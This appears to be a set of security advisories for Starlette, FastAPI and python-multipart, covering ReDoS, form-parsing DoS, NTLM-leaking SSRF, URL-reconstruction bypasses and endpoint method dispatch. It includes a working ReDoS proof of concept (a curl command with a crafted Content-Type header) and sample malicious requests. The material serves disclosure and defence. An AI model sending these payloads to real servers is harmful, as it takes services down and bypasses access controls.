Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.
Original Description
Summary
When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.
An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.
This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/RegularexpressionDenialofService-ReDoS
This only applies when the app uses form data, parsed with python-multipart.
Details
A regular HTTP Content-Type header could look like:
Content-Type: text/html; charset=utf-8
python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74
A custom option could be made and sent to the server to break it with:
Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
This is also reported to Starlette at: https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238
PoC
Create a FastAPI app that uses form data:
Python main.py from typing import Annotated from fastapi.responses import HTMLResponse from fastapi import FastAPI,Form from pydantic import BaseModel
class Item(BaseModel): username: str
app = FastAPI()
@app.get("/", responseclass=HTMLResponse) async def index(): return HTMLResponse("Test", statuscode=200)
@app.post("/submit/") async def submit(username: Annotated[str, Form()]): return {"username": username}
@app.post("/submitjson/") async def submitjson(item: Item): return {"username": item.username}
Then start it with:
console $ uvicorn main:app
INFO: Started server process [50601] INFO: Waiting for application startup. INFO: ASGI 'lifespan' protocol appears unsupported. INFO: Application startup complete. INFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
Then send the attacking request with:
console $ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
Stopping it
Because that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with Ctrl+C as it can't handle the signal.
To stop it, first check the process ID running Uvicorn:
console $ ps -fA | grep uvicorn
501 59461 24785 0 4:28PM ttys004 0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redosstarlette:app 501 59466 99935 0 4:28PM ttys010 0:00.00 grep uvicorn
In this case, the process ID was 59461, then you can kill it (forcefully, with -9) with:
console $ kill -9 59461
Impact
It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using python-multipart. This way it also affects other libraries using Starlette, like FastAPI.
Original Report
This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r
<details> <summary>Original report to FastAPI</summary>
Hey Tiangolo!
My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).
Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:
Python from typing import Annotated from fastapi.responses import HTMLResponse from fastapi import FastAPI,Form from pydantic import BaseModel
class Item(BaseModel): username: str
app = FastAPI()
@app.get("/", responseclass=HTMLResponse) async def index(): return HTMLResponse("Test", statuscode=200)
@app.post("/submit/") async def submit(username: Annotated[str, Form()]): return {"username": username}
@app.post("/submitjson/") async def submitjson(item: Item): return {"username": item.username}
I'm running the above with uvicorn with the following command:
console uvicorn server:app
Then run the following cUrl command:
curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%
You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.
If you try submitting Json to the /submitjson endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.
Cheers
Impact
An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.
Occurrences
params.py L586
</details>
Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-74m5-2c7w-9w3x. This link is maintained to preserve external references.
Original Description There MultipartParser usage in Encode's Starlette python framework before versions 0.25.0 allows an unauthenticated and remote attacker to specify any number of form fields or files which can cause excessive memory usage resulting in denial of service of the HTTP service.
Summary request.form() accepts maxfields and maxpartsize to bound resource consumption while parsing form data. These limits are enforced for multipart/form-data, but silently ignored for application/x-www-form-urlencoded. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply.
Details request.form() dispatches to a different parser depending on the Content-Type. For multipart/form-data the maxfiles, maxfields, and maxpartsize limits are forwarded to the parser, but for application/x-www-form-urlencoded the parser is constructed without them. It has no maxfields or maxpartsize parameter to receive them, and it appends every field with no count check and accumulates each field's name and value with no size check. The configured limits are therefore both unreachable and unenforced for url-encoded bodies.
Because the url-encoded parser does its work synchronously between stream reads, the two attack shapes have different effects:
- Field count drives CPU and event-loop blocking. A body of ~1,000,000 fields (a sub-10MB payload such as f0=v&f1=v&...) blocks the worker's event loop for several seconds while parsing, during which the worker serves no other request. - Field size drives memory. A single large field value (e.g. a 50MB value) is buffered in full to build the FormData, forcing memory allocation proportional to the request body.
The equivalent multipart/form-data request is correctly rejected with 400 Too many fields / 400 Field exceeded maximum size.
Impact This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) that call request.form() on application/x-www-form-urlencoded requests. A single request with a very large number of fields blocks the event loop for several seconds, and a single request with a very large field forces unbounded memory allocation; in either case, parallel requests can render the service unusable. A reverse proxy that enforces a request body size limit reduces but does not eliminate the exposure, since a sub-10MB body is already enough to block the event loop.
Mitigation Upgrade to a patched version, which forwards maxfields and maxpartsize to the url-encoded parser and enforces them while parsing, raising before the oversized field or excess fields are accumulated. The defaults match multipart/form-data (maxfields=1000, maxpartsize=1MB) and can be customized via request.form(maxfields=..., maxpartsize=...).
Summary
When serving static files on Windows, StaticFiles resolves the requested path with os.path.realpath. If a UNC path (such as \\attacker.com\share) reaches the resolver, realpath causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts.
Details
StaticFiles.lookuppath() joins the requested path onto the served directory and calls os.path.realpath on the result before checking containment with os.path.commonpath. On Windows, a UNC path is absolute, so os.path.join discards the served directory and realpath resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected.
This only affects the default configuration (followsymlink=False), which uses os.path.realpath. The followsymlink=True branch uses os.path.abspath, which performs no I/O.
Impact
Applications running on Windows that serve files with StaticFiles (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. StaticFiles is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses.
Mitigation
Applications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of StaticFiles avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved.
Summary In affected versions, the HTTP Host request header was not validated before being used to reconstruct request.url. Because the routing algorithm relies on the raw HTTP path while request.url is rebuilt from the Host header, a malformed header could make request.url.path differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on request.url (rather than the raw scope path) could therefore be bypassed.
Details When a client requests http://example.com/foo, it sends:
http GET /foo HTTP/1.1 Host: example.com
Affected versions reconstructed the URL by concatenating http://{host}{path} and re-parsing the result. The Host value is only valid as a uri-host [ ":" port ] per RFC 9112 §3.2, where uri-host follows the restricted host grammar of RFC 3986 §3.2.2. When it contains characters outside that grammar - notably /, ?, or # - those characters move the path/query/fragment boundaries during re-parsing, so the parsed request.url.path no longer matches the path the server actually received. For example:
http GET /foo HTTP/1.1 Host: example.com/abc?bar=
reconstructs to http://example.com/abc?bar=/foo, whose parsed path is /abc - even though routing used the real path /foo. The router still dispatches to /foo and the endpoint executes, but any middleware or code that reads request.url.path sees /abc, so path-based authorization checks can be bypassed.
Impact Any application running an affected version that relies on request.url (or request.url.path) for security-sensitive decisions is affected. The most common case is middleware that gates access to certain path prefixes based on request.url.path. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed Host header before forwarding and the application does not trust attacker-controlled host headers (e.g. X-Forwarded-Host) elsewhere.
Mitigation Upgrade to a patched version, which validates the Host header against the grammar of RFC 9112 §3.2 / RFC 3986 §3.2.2 when constructing request.url and falls back to scope["server"] for malformed values.
Summary
In affected versions, the HTTP request path is not validated before being used to reconstruct request.url. Because request.url is rebuilt by concatenating {scheme}://{host}{path} and re-parsing the result, a path that does not begin with / (for example @google.com) moves the authority boundary during re-parsing, so request.url.hostname and request.url.netloc become attacker-controlled. Code that reads request.url.hostname (rather than the Host header or scope) can therefore be misled into trusting an attacker-supplied host.
Details
When a client requests a path that does not start with /:
http GET @google.com HTTP/1.1 Host: localhost
affected versions reconstruct the URL as http://localhost@google.com. Per RFC 3986 §3.2.1, the substring before @ in the authority is userinfo, so re-parsing yields username = "localhost" and hostname = "google.com", with an empty path:
text request.url == "http://localhost@google.com" request.url.hostname == "google.com" request.url.path == ""
The root cause is that the path is concatenated directly after the host without a separating /, and without validating that it begins with one. Only the Host header was validated when constructing request.url; the path was not.
This requires an ASGI server that forwards a request-target lacking a leading / into scope["path"].
Impact
Any application running an affected version that uses request.url, request.url.netloc, or request.url.hostname for a security-sensitive decision (host-based authorization, redirect/callback base, SSRF target, cache key, audit log) may be affected, when no fronting proxy or load balancer rejects the malformed request-target first.
Note that this is less exploitable than GHSA-86qp-5c8j-p5mr: there, the poison is carried in the Host header, so the real path still routes to a valid endpoint while request.url.path lies. Here, the poison must be carried in the path itself, and that path (@google.com) does not match any registered route, so routing returns 404 and no endpoint handler runs. The exposure is limited to code that reads request.url before routing - notably middleware - or in 404/exception handlers.
Mitigation
Upgrade to a patched version, which prevents the request path from crossing into the URL authority. The request above instead yields http://localhost/@google.com with request.url.hostname == "localhost".
Summary
When dispatching a request, HTTPEndpoint selects the handler by lowercasing the HTTP method and looking it up as an attribute with getattr, without restricting the lookup to a known set of HTTP verbs.
When an HTTPEndpoint subclass is registered through Route(...) without an explicit methods= argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler.
Details
HTTPEndpoint uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as DODELETE therefore resolves an attribute like dodelete and invokes it. Non-standard methods are valid RFC 9110 token methods, so an endpoint must not treat the method name as a trusted attribute selector.
Impact
An application is affected when all of the following hold:
It defines an HTTPEndpoint subclass and registers it via Route(...) without an explicit methods= argument. The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single request argument and return a response.
This also affects frameworks built on Starlette, like FastAPI.
Mitigation
Register HTTPEndpoint subclasses with an explicit methods= argument on the Route, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with 405 Method Not Allowed before it reaches the endpoint, so non-standard methods cannot resolve an attribute.